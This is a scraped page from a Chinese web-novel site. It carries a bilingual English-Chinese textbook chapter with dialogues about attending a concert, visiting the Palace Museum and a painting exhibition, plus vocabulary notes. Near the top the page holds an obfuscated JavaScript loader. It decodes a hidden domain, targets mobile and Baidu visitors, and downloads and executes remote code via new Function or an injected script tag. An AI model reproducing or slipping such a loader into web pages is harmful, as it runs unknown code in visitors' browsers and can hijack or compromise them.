妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

03 艺术欣赏(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

03 艺术欣赏

音乐会上陶冶情操

dialogue

elizabeth is on the way to go to the concert with her client.

伊利莎白正在陪客户去音乐会的路上。

elizabeth: i heard that you like classical music very much. then who is your favorite opera star?

伊利莎白:我听说你非常喜欢古典音乐,那你最喜欢哪位歌剧明星?

mr. brown: the three tenors.

布朗先生:世界三大男高音。

elizabeth: oh, you mean pavarotti, domingo and carreras. have you seen their live shows?

伊利莎白:哦,你是说帕瓦罗蒂、多明戈和卡雷拉斯。你看过他们的现场演出吗?

mr. brown: yeah. it&#039;s a solo concert by pavarotti. he put on the performance in the forbidden city in beijing. it&#039;s really a unique experience.

布朗先生:是的,我去过帕瓦罗蒂的个人演唱会,是他在北京的故宫举办的演出。那真是特别的经历。

elizabeth: i&#039;ve heard of that one. it was also his swan song.

伊利莎白:我听说过那场演出,那是他的告别演唱会。

mr. brown: yes. speaking of classical music, we should never forget about the new year&#039;s concert in vienna.

布朗先生:是的,谈到古典音乐,我们不能不提维也纳新年音乐会。

elizabeth: sure, it&#039;s undoubtedly one of the biggest classical music events. have you ever been to the live show?

伊利莎白:那是当然,它毫无疑问是最隆重的古典音乐盛典之一。你看过现场演出吗?

mr. brown: yes, i went to the new year&#039;s concert in 2005.

布朗先生:是的,我看了2005年的新年音乐会。

elizabeth: so cool, i wish i can go to the live new year&#039;s concert someday in the future.

伊利莎白:真酷啊。我希望将来有一天我也可以去现场听新年音乐会。

mr. brown: the right opportunity for you would come soon.

布朗先生:你一定会有机会的。

elizabeth: i believe that. well, the performance is about to begin. let&#039;s be quiet.

伊利莎白:是的。对了,演出快要开始了,让我们保持安静吧。

notes

1. solo [?s?ul?u] n. 独唱,独奏;单飞;adj. 单独的,独自的;adv. 单独地,独自地

2. swan song 告别演唱会

3. forbidden city 紫禁城,故宫

小贴士

1. the concert was fully packed.

音乐会座无虚席。

2. the concert has a good start.

音乐会开场不错。

3. will you attend this concert?

你是否出席这场音乐会?

4. do you think the music is well linked?

你觉得这个音乐的衔接好吗?

博物馆里寻找历史的痕迹

dialogue

mixing work with adequate rest can improve the efficiency of work.

劳逸结合可以提高工作效率。

linda: finally the meeting ended. i&#039;m so tired.

琳达:终于开完会了,好累啊。

lily: yeah, we have one day rest. shall we go somewhere to relax?

莉莉:是啊,正好我们有一天的休息时间,我们去个地方放松放松吧?

linda: ok. do you have any place which is worth commending?

琳达:好啊,你有什么值得推荐的地方吗?

lily: how about the palace museum?we can look for some creativities for our advertisement.

莉莉:我们去故宫怎么样?顺便可以为我们的广告找一些创意。

linda: all right.

琳达:好的。

lily: did you get the tickets?

莉莉:你买到票了吗?

linda: yeah, they&#039;re pretty expensive.

琳达:买到了,好贵啊。

lily: well, this place is very popular, and it is the busy season.

莉莉:嗯,来故宫参观的人很多,而且现在还是旺季。

linda: all right. let&#039;s get in immediately.

琳达:不错,那我们赶紧进去吧。

lily: did the whole palace serve as the emperor&#039;s residence?

莉莉:这里整个宫殿都是皇帝的寝宫吗?

linda: yes.

琳达:是啊。

lily: how extravagant! why are there so many yellow-colored ornaments?

莉莉:太奢华了!为什么有这么多黄色的装饰品呢?

linda: because yellow was the official color of the imperial family in the past.

琳达:因为在过去黄色是皇室的象征。

lily: oh, seeing such a magnificent palace,a good advertising idea comes to my mind. we can put the subject of this advertising in a place like the imperial palace, and it&#039;s better to highlight the luxury of the products.

莉莉:哦,看到这么金碧辉煌的皇宫,我想到一个很好的广告创意。我们可以将这次广告的主题设在像皇宫那样的地方,这样更能凸显产品的奢华。

linda: it&#039;s a good idea. we can go and talk about the cooperation with the person in charge tomorrow.

琳达:这个创意很好,那我们明天就可以去和负责人谈谈关于合作的问题了。

notes

1. highlight [?hailait] v. 强调,突出,使显著,使醒目;用彩笔做标记,挑染;n. 最精彩的部分;挑染的头发

2. immediately [i?mi:di?tli] adv. 立即,马上,紧接地;conj. 一……就,即刻

3. extravagant [iks?tr?vig?nt] adj. 夸张的,奢侈的;无节制的,放肆的

4. ornament [??:n?m?nt] v. 装饰,美化;n. 装饰品,点缀品;首饰

5. luxury [?l?k??ri] n. 奢侈品,奢侈的享受

6. in charge 掌管,看管,在……掌控下

小贴士

大英博物馆知道少?

the british museum was established in 1753, largely based on the collections of the physician and scientist sir hans sloane. the museum first opened to the public on january 15th 1759 in montagu house in bloomsbury, on the site of the current museum building. its collections, which number more than seven million objects, are amongst the largest and most comprehensive in the world and originate from all continents, illustrating and documenting the story of human culture from its beginning to the present. as with all other national museums and art galleries in britain, the museum charges no admission fee, although charges are levied for some temporary special exhibitions.

大英博物馆成立于1753年。其早期收藏品主要来自于内科医生和科学家汉斯·斯隆先生的捐赠。大英博物馆于1759年1月15在布卢姆茨伯里地区的蒙塔古大楼首次对外开放。该址就是现在博物馆大楼的所在地。博物馆收藏了世界各地的许多文物和图书珍品,共有展品700万件,其展品记载了人类从古至今的历史,属于世界上最大最丰富的。同英国其他的国家博物馆和艺术博物馆一样,大英博物馆不收取入场费,但有时会收取一些特别展览会的费用。

琳琅满目的画展

dialogue

helen intended to work overtime, but she succumbs to the temptations of the exhibition of painting.

海伦原打算加班,但是她抵挡不住画展的诱惑。

susan: shall i punch out for you, helen? i&#039;m leaving now.

苏珊:海伦,要我帮你打卡吗?我马上要下班了。

helen: no, thanks. i&#039;ve to work overtime.

海伦:谢谢,不用了。我今天得加班。

susan: oh, come on. today is friday. you&#039;re not going to work overtime on friday evening, are you?

苏珊:噢,算了吧。今天可是礼拜五,你不是今天晚上打算加班吧,是吗?

helen: well, i am. i have to finish this report for next monday&#039;s meeting. how about you? what will you do after work?

海伦:被你说对了。我得完成下周一的会议上要用的报告。你呢?下班后有什么打算?

susan: i have two complimentary tickets of an exhibition of painting. i intended to go with you…

苏珊:我有两张画展的赠票,本来打算和你一起去的……

helen: whose exhibition?

海伦:谁的画展?

susan: one of my friend&#039;s. she is good at chinese brush painting and western impressionism.

苏珊:是我一个朋友的。她很擅长中国水墨画和西方印象画。

helen: wow, it&#039;s my style.

海伦:哇!正合我的口味。

susan: to be or not to be?

苏珊:去,还是不去?

helen: i am in a real dilemma. whatever,we must be dashing off now in order not to be late.

海伦:我真是左右为难。不管了,我们赶紧去吧,不然要迟到了。

(a few minutes later, they are in the exhibition.)

(几分钟后,他们来到了展览地。)

susan: come here, helen. look at this painting. it touches me deeply.

苏珊:海伦,过来一下。看这幅画,真有意境。

helen: bravo! this painting shows much artistic merit.

海伦:太棒了!这幅画展现了很多艺术价值。

susan: this painting exhibition is worth visiting. do you agree?

苏珊:这个画展值得一看,不是吗?

helen: you may say that again.

海伦:完全同意。

notes

1. complimentary [?k?mpl??ment?ri] adj. 赠送的;赞美的,恭维的

2. punch out 打卡下班;冲压出

3. in a dilemma 左右为难

4. dash off 匆忙离开;匆忙地把……写好、画好

5. bravo [?brɑ:v?u] v. 向……喝彩;n. 干得好;int. 好极了

小贴士

1. what style does he paint in?

他的作品是什么风格的?

2. he is asked to be a judge at the painting exhibition.

他被邀请当画展的评委。

3. we visited an art show this weekend.

我们这周末参观了一个画展。

4. this painting exhibition is a bit of ragbag.

这次画展有点大杂烩的味道。

5. she is invited to hang her works in an art show.

她应邀在一家画廊参展个人作品。

6. the personal painting exhibition is in that beautiful building.

个人画展设在那座漂亮的小楼里。

观看话剧表演

dialogue

it&#039;s the celebrations for the 10th anniversary of the company&#039;s foundation.

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间